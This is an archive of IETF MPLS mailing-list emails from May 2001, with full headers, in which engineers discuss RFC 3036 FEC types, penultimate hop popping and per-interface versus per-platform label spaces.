From owner-mpls@UU.NET  Tue May  1 02:36:25 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA20934
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 02:36:25 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkncc23247;
	Tue, 1 May 2001 06:36:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkncc09474
	for mpls-outgoing; Tue, 1 May 2001 06:35:47 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkncc09467
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 06:35:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkncc20475
	for <mpls@UU.NET>; Tue, 1 May 2001 06:34:53 GMT
Received: from acc.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailsrv.acc.com [129.192.64.128])
	id QQkncc17145
	for <mpls@UU.NET>; Tue, 1 May 2001 06:34:53 GMT
Received: from anil (devdhcp6292.dev.acc.am.ericsson.se [129.192.62.92])
	by acc.com (8.11.1/8.11.1) with SMTP id f416Wn513215
	for <mpls@UU.NET>; Mon, 30 Apr 2001 23:32:49 -0700 (PDT)
Reply-To: <anilg@acc.am.ericsson.se>
From: "Anil Gunturu" <anilg@acc.com>
To: <mpls@UU.NET>
Subject: FEC: Address Prefix and Host Address
Date: Mon, 30 Apr 2001 23:33:06 -0700
Message-ID: <NDBBINICALLAGHGFFHMBIELCCMAA.anilg@acc.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <NDBBINICALLAGHGFFHMBIEGGCMAA.anilg@acc.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

RFC 3036 defines the following types of FECs
"
      1. Address Prefix.  This element is an address prefix of any
         length from 0 to a full address, inclusive.

      2. Host Address.  This element is a full host address.
"

Isn't host address a special case of Address Prefix where the length is full
address length (IPV4 = 32)? Especially, because the RFC indicates that
length is from 0 to a full address.

Thanks,
-Anil



From owner-mpls@UU.NET  Tue May  1 04:14:06 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA21603
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 04:14:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknci19700;
	Tue, 1 May 2001 08:13:54 GMT
Received: by mail-control.mail.uu.net 
	id QQknci27620
	for mpls-outgoing; Tue, 1 May 2001 08:13:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknci27596
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 08:13:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknci14596
	for <mpls@uu.net>; Tue, 1 May 2001 08:11:06 GMT
Received: from eth.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.eth.net [202.9.145.18])
	id QQknci17020
	for <mpls@uu.net>; Tue, 1 May 2001 08:11:04 GMT
Received: from mail pickup service by eth.net with Microsoft SMTPSVC;
	 Tue, 1 May 2001 12:55:54 +0530
Received: from mail pickup service by eth.net with Microsoft SMTPSVC;
	 Tue, 1 May 2001 12:30:01 +0530
Received: from mail pickup service by eth.net with Microsoft SMTPSVC;
	 Tue, 1 May 2001 12:05:08 +0530
Received: from host.secure4-hosting.net ([209.239.41.31]) by eth.net  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Tue, 1 May 2001 10:09:17 +0530
Received: (from mplsrc12@localhost)
	by host.secure4-hosting.net (8.10.2/8.10.2) id f414lvT01566
	for murukku@eth.net; Tue, 1 May 2001 00:47:57 -0400
X-Authentication-Warning: host.secure4-hosting.net: mplsrc12 set sender to mpls-ops-request@mplsrc.com using -f
Message-ID: <007b01c0d204$fde2df60$5b5da4d0@KENT>
Reply-To: "Kent Yu" <yux@lucent.com>
From: "Kent Yu" <yux@lucent.com>
To: "Bhupesh Bajaj" <mpls@indiatimes.com>, <alexander@marhold.at>
Cc: <mpls@UU.NET>, <mpls-ops@mplsrc.com>
References: <200104301046.QAA02582@localhost.localdomain>
Subject: Re: RE: doubt in RFC 3031
Date: Mon, 30 Apr 2001 23:07:20 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
X-Mailing-List: <mpls-ops@mplsrc.com> archive/latest/1098
X-Loop: mpls-ops@mplsrc.com
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

bhupesh,

Seems to me the phrase here emphasizes the PHP does not require either the
egress or the penultimate router do more than one lookup. The authors, IMHO,
believe it is necessary to clarify the PHP does not transfer the two lookups
from the edge to either the penultimate hop or any other LSRs along the LSP.

HTH

Kent Yu


----- Original Message -----
From: "Bhupesh Bajaj" <mpls@indiatimes.com>
To: <alexander@marhold.at>
Cc: <mpls@uu.net>; <mpls-ops@mplsrc.com>
Sent: Monday, April 30, 2001 3:52 AM
Subject: Re: RE: doubt in RFC 3031


> hello,
>
> as far as i believe the penultimate hop is going to behave in same way
 as far as number of lookups is concerned )in both cases with / without
using this technique.."penultimate hop popping"..
>
> so i believe it needn't be mentioned in RFC that with PNP one gets the
benifit of just one lookup from penultimate hop side also as they have
mentioned in RFC
>
> waiting for comments,
>
>
> thanks and regards,
> bhupesh
>
> Get Your Private, Free E-mail from Indiatimes at
http://email.indiatimes.com
>
> -------
> The MPLS-OPS Mailing List
> Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
> Archive: http://www.mplsrc.com/mpls-ops_archive.shtml

-------
The MPLS-OPS Mailing List
Subscribe/Unsubscribe:  http://www.mplsrc.com/mplsops.shtml
Archive: http://www.mplsrc.com/mpls-ops_archive.shtml


From owner-mpls@UU.NET  Tue May  1 09:51:20 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA27214
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 09:51:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndf02367;
	Tue, 1 May 2001 13:51:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkndf01205
	for mpls-outgoing; Tue, 1 May 2001 13:50:39 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkndf01172
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 13:50:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkndf22943
	for <mpls@UU.NET>; Tue, 1 May 2001 13:49:45 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkndf29412
	for <mpls@UU.NET>; Tue, 1 May 2001 13:49:41 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f41Doic11250;
	Tue, 1 May 2001 19:20:45 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A3F.004AA050 ; Tue, 1 May 2001 19:05:07 +0530
X-Lotus-FromDomain: HSS
To: anilg@acc.am.ericsson.se
cc: mpls@UU.NET
Message-ID: <65256A3F.004A9EB3.00@sandesh.hss.hns.com>
Date: Tue, 1 May 2001 19:19:13 +0530
Subject: Re: FEC: Address Prefix and Host Address
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



Anil,

Let the network topology is like this

          mpls domain
Router A--------------------------Router B---------host C

Let there comes a unlabeled packet at the ingress router A for the destination
host C.
Lets assume

 1. there is a routing table entry in the router A for the host C, specifying
the next hop as router B.
 2. there is no LSP for the host C in the router A.
 3. there is a LSP between router A and router B.

Now two cases arises

1. The LSP between router A and router B is using address prefix which is a full
address of router B. Then router A will forward the datagram on the LSP between
A and B, as is written in RFC 3036

"If it is known that a packet must traverse a particular egress
         router, and there is an LSP which has an Address Prefix FEC
         element which is an address of that router, then the packet is
         mapped to that LSP.  The procedure for obtaining this knowledge
         is beyond the scope of this document."

2. The LSP between router A and router B is using host address to identify
router B. Then router A may not send the datagram on the LSP between A and B, as
is written in RFC 3036.

"A packet which does not match a particular Host Address FEC
         element may not be sent on the corresponding LSP, even if the
         Host Address FEC element identifies the packet's egress router."

pls correct me if i am wrong.
Regards
Mohit Goel





"Anil Gunturu" <anilg@acc.com> on 05/01/2001 12:03:06 PM

Please respond to anilg@acc.am.ericsson.se

To:   mpls@UU.NET
cc:    (bcc: Mohit Goel/HSS)

Subject:  FEC: Address Prefix and Host Address




RFC 3036 defines the following types of FECs
"
      1. Address Prefix.  This element is an address prefix of any
         length from 0 to a full address, inclusive.

      2. Host Address.  This element is a full host address.
"

Isn't host address a special case of Address Prefix where the length is full
address length (IPV4 = 32)? Especially, because the RFC indicates that
length is from 0 to a full address.

Thanks,
-Anil









From owner-mpls@UU.NET  Tue May  1 10:41:52 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA29055
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 10:41:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndi21087;
	Tue, 1 May 2001 14:41:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkndi25002
	for mpls-outgoing; Tue, 1 May 2001 14:41:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkndi24966
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 14:40:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkndi23104
	for <mpls@UU.NET>; Tue, 1 May 2001 14:40:34 GMT
Received: from web14306.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14306.mail.yahoo.com [216.136.173.82])
	id QQkndi21374
	for <mpls@UU.NET>; Tue, 1 May 2001 14:40:34 GMT
Message-ID: <20010501144033.95183.qmail@web14306.mail.yahoo.com>
Received: from [143.209.238.102] by web14306.mail.yahoo.com; Tue, 01 May 2001 07:40:33 PDT
Date: Tue, 1 May 2001 07:40:33 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: Label Space
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
    Here is a basic doubt.
Why per-interface label space only used in case of
ATM/FR?
  Can we use platform label space in case of ATM/FR ?

   Can we configure label space (per-interface or
Platform label space) per LSR wise?
 
  If LSR has both ATM and Ethernet ports, then how do
use label space if label space is configured?

Thanks in Advance,
Srini

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May  1 13:09:20 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04234
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 13:09:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknds21548;
	Tue, 1 May 2001 17:07:27 GMT
Received: by mail-control.mail.uu.net 
	id QQknds28755
	for mpls-outgoing; Tue, 1 May 2001 17:06:52 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknds28376
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 17:06:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknds29310
	for <mpls@uu.net>; Tue, 1 May 2001 17:04:42 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknds03924
	for <mpls@uu.net>; Tue, 1 May 2001 17:04:42 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA21200 for mpls@uu.net; Tue, 1 May 2001 13:04:42 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknds19301
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 17:00:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkndr15330
	for <mpls@UU.NET>; Tue, 1 May 2001 16:57:53 GMT
Received: from nero.doit.wisc.edu by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: nero.doit.wisc.edu [128.104.17.130])
	id QQkndr24091
	for <mpls@UU.NET>; Tue, 1 May 2001 16:57:53 GMT
Received: (from jleu@localhost)
	by nero.doit.wisc.edu (8.8.7/8.8.7) id LAA06208;
	Tue, 1 May 2001 11:57:45 -0500
Date: Tue, 1 May 2001 11:57:44 -0500
From: "James R. Leu" <jleu@mindspring.com>
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
Subject: Re: Label Space
Message-ID: <20010501115744.B6029@doit.wisc.edu>
Reply-To: jleu@mindspring.com
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3AEED3C3.DEC50A9A@marconi.com>; from david.charlap@marconi.com on Tue, May 01, 2001 at 11:18:27AM -0400
Organization: none
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello David,

> The choice of per-interface or per-platform doesn't have to be a global
> setting.  Some interfaces can have a private label space while all the
> others share a platform label space.  It is possible (for instance) to
> put the Ethernet interfaces in the platform label space while giving
> each ATM interface its own label space.

I agree, but I have never understood how hierarchical tunnels (such as
those used in RSVP bypass tunnels) would work over private label spaces.

> I think it's also possible to have multiple separate label spaces that
> contain more than one interface each.  But I'm not sure of this.

That would indeed handle the above question.  (assign the interfaces that
would be part of the bypass to the same label space, label allocation becomes
much simpler). I too am not sure it is a valid use of label spaces.

Any insight would be useful. Thanks.

Jim
-- 
James R. Leu



From owner-mpls@UU.NET  Tue May  1 13:25:30 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04718
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 13:25:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndt19989;
	Tue, 1 May 2001 17:24:17 GMT
Received: by mail-control.mail.uu.net 
	id QQkndt08961
	for mpls-outgoing; Tue, 1 May 2001 17:23:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkndt08953
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 17:23:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkndt24675
	for <mpls@UU.NET>; Tue, 1 May 2001 17:22:38 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkndt17376
	for <mpls@UU.NET>; Tue, 1 May 2001 17:22:37 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA04040
	for <mpls@UU.NET>; Tue, 1 May 2001 13:22:35 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA18115
	for <mpls@UU.NET>; Tue, 1 May 2001 13:22:37 -0400 (EDT)
Message-ID: <3AEEF103.A5A31094@marconi.com>
Date: Tue, 01 May 2001 13:23:15 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com> <20010501115744.B6029@doit.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"James R. Leu" wrote:
> 
>> The choice of per-interface or per-platform doesn't have to be a
>> global setting.  Some interfaces can have a private label space
>> while all the others share a platform label space.  It is possible
>> (for instance) toput the Ethernet interfaces in the platform label
>> space while giving each ATM interface its own label space.
> 
> I agree, but I have never understood how hierarchical tunnels (such
> as those used in RSVP bypass tunnels) would work over private label
> spaces.

Certain things (like LDP remote peers and bypass tunnels) become
difficult with per-interface label spaces.  The routers must be able to
deal with the possibility that the next-hop for an already-established
LSP may jump from one interface to another.  When this happens, its
label must also jump.  If the label is already in use on the new
interface, however, then one or the other must be preempted.

There are some ways around this problem, but they will not all be
possible, depending on hardware.

For instance, if the switch has a very large label space, but can only
allocate a (relatively) small number of labels from the space, then it
can allocate labels on the interfaces where they are used, and prevent
the other interfaces from using the same label values (without actually
installing those labels on those interfaces.)  This way, there won't be
conflict if a label should happen to change interfaces.

But some hardware may be unable to lock-off a label value without
actually consuming the resources associated with that label.  Meaning
some other scheme might be necessary.

The problem is difficult, and I suspect there will be no single solution
that will work well on all hardware platforms.  But I think there are
solutions.

>> I think it's also possible to have multiple separate label spaces
>> that contain more than one interface each.  But I'm not sure of
>> this.
> 
> That would indeed handle the above question.  (assign the interfaces
> that would be part of the bypass to the same label space, label
> allocation becomes much simpler). I too am not sure it is a valid
> use of label spaces.

The only problem with this is that a switch that only has per-interface
support in the hardware will have the same problems using this scheme as
it will with per-platform label spaces.

I mention this only because some hardware designs may make this a good
idea.  For instance, if several ports are all wired to the same
forwarding chip, it might make sense for them to share a single label
space, even if they can't share that space with ports attached to other
forwarding chips.

-- David


From owner-mpls@UU.NET  Tue May  1 13:31:29 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA05025
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 13:31:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndt01173;
	Tue, 1 May 2001 17:29:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkndt09449
	for mpls-outgoing; Tue, 1 May 2001 17:28:53 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkndt09432
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 17:28:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkndt10746
	for <mpls@UU.NET>; Tue, 1 May 2001 17:25:46 GMT
Received: from web14302.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14302.mail.yahoo.com [216.136.173.78])
	id QQkndt25230
	for <mpls@UU.NET>; Tue, 1 May 2001 17:25:45 GMT
Message-ID: <20010501172517.23097.qmail@web14302.mail.yahoo.com>
Received: from [143.209.238.102] by web14302.mail.yahoo.com; Tue, 01 May 2001 10:25:17 PDT
Date: Tue, 1 May 2001 10:25:17 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: Re: Label Space
To: David Charlap <david.charlap@marconi.com>, mpls@UU.NET
In-Reply-To: <3AEED3C3.DEC50A9A@marconi.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
      Thanks for reply.
In case of LSP's established through targeted session
will use only platform Label space. That means, If we
want to establish LSP through targeted session, we
must configure the platform label space in LSR even
all interfaces in LSR uses per-interface label space.
 Is it right?

Thanks,
Srini


> >   Can we use platform label space in case of
> ATM/FR ?
> 
> There's no reason why not, other than the fact that
> existing ATM
> switches don't have native hardware support for
> per-platform VC spaces.
> 
> > Can we configure label space (per-interface or
> > Platform label space) per LSR wise?
> 
> Yes.
> 
> >   If LSR has both ATM and Ethernet ports, then how
> do
> > use label space if label space is configured?
> 
> The choice of per-interface or per-platform doesn't
> have to be a global
> setting.  Some interfaces can have a private label
> space while all the
> others share a platform label space.  It is possible
> (for instance) to
> put the Ethernet interfaces in the platform label
> space while giving
> each ATM interface its own label space.
> 
> I think it's also possible to have multiple separate
> label spaces that
> contain more than one interface each.  But I'm not
> sure of this.
> 
> -- David


__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May  1 13:38:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA05191
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 13:38:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndu08132;
	Tue, 1 May 2001 17:37:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkndu10096
	for mpls-outgoing; Tue, 1 May 2001 17:36:25 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkndu10085
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 17:36:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkndu22154
	for <mpls@uu.net>; Tue, 1 May 2001 17:35:25 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkndu08959
	for <mpls@uu.net>; Tue, 1 May 2001 17:35:25 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA05326
	for <mpls@uu.net>; Tue, 1 May 2001 13:35:23 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA20636
	for <mpls@uu.net>; Tue, 1 May 2001 13:35:25 -0400 (EDT)
Message-ID: <3AEEF403.B76B86F9@marconi.com>
Date: Tue, 01 May 2001 13:36:03 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Label Space
References: <20010501172517.23097.qmail@web14302.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Srinivas T M wrote:
> 
> In case of LSP's established through targeted session
> will use only platform Label space. That means, If we
> want to establish LSP through targeted session, we
> must configure the platform label space in LSR even
> all interfaces in LSR uses per-interface label space.

See my other message.

I think LDP remote peers can be implemented with per-interface label
spaces, but it creates problems that may not be easy to solve on your
hardware.

-- David


From owner-mpls@UU.NET  Tue May  1 15:04:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA07762
	for <mpls-archive@lists.ietf.org>; Tue, 1 May 2001 15:04:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkndl23539;
	Tue, 1 May 2001 15:20:53 GMT
Received: by mail-control.mail.uu.net 
	id QQkndl18260
	for mpls-outgoing; Tue, 1 May 2001 15:20:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkndl18032
	for <mpls@mail-control.mail.uu.net>; Tue, 1 May 2001 15:18:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkndl15764
	for <mpls@UU.NET>; Tue, 1 May 2001 15:17:51 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkndl04441
	for <mpls@UU.NET>; Tue, 1 May 2001 15:17:50 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA23102
	for <mpls@UU.NET>; Tue, 1 May 2001 11:17:48 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA21938
	for <mpls@UU.NET>; Tue, 1 May 2001 11:17:50 -0400 (EDT)
Message-ID: <3AEED3C3.DEC50A9A@marconi.com>
Date: Tue, 01 May 2001 11:18:27 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Srinivas T M wrote:
> 
>     Here is a basic doubt.
> Why per-interface label space only used in case of ATM/FR?

ATM cell switching assigns VCIDs on a per-interface basis.  As such,
most (if not all) existing ATM hardware is designed around per-interface
and not per-platform.

This could be worked around by duplicating the per-interface labels
across all interfaces.  But now every logical label allocation is
consuming n (where "n" is the number of interfaces) label allocations in
the hardware - this can quickly exhaust the label space if used in a
large network.

>   Can we use platform label space in case of ATM/FR ?

There's no reason why not, other than the fact that existing ATM
switches don't have native hardware support for per-platform VC spaces.

> Can we configure label space (per-interface or
> Platform label space) per LSR wise?

Yes.

>   If LSR has both ATM and Ethernet ports, then how do
> use label space if label space is configured?

The choice of per-interface or per-platform doesn't have to be a global
setting.  Some interfaces can have a private label space while all the
others share a platform label space.  It is possible (for instance) to
put the Ethernet interfaces in the platform label space while giving
each ATM interface its own label space.

I think it's also possible to have multiple separate label spaces that
contain more than one interface each.  But I'm not sure of this.

-- David


From owner-mpls@UU.NET  Tue May  1 17:21:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
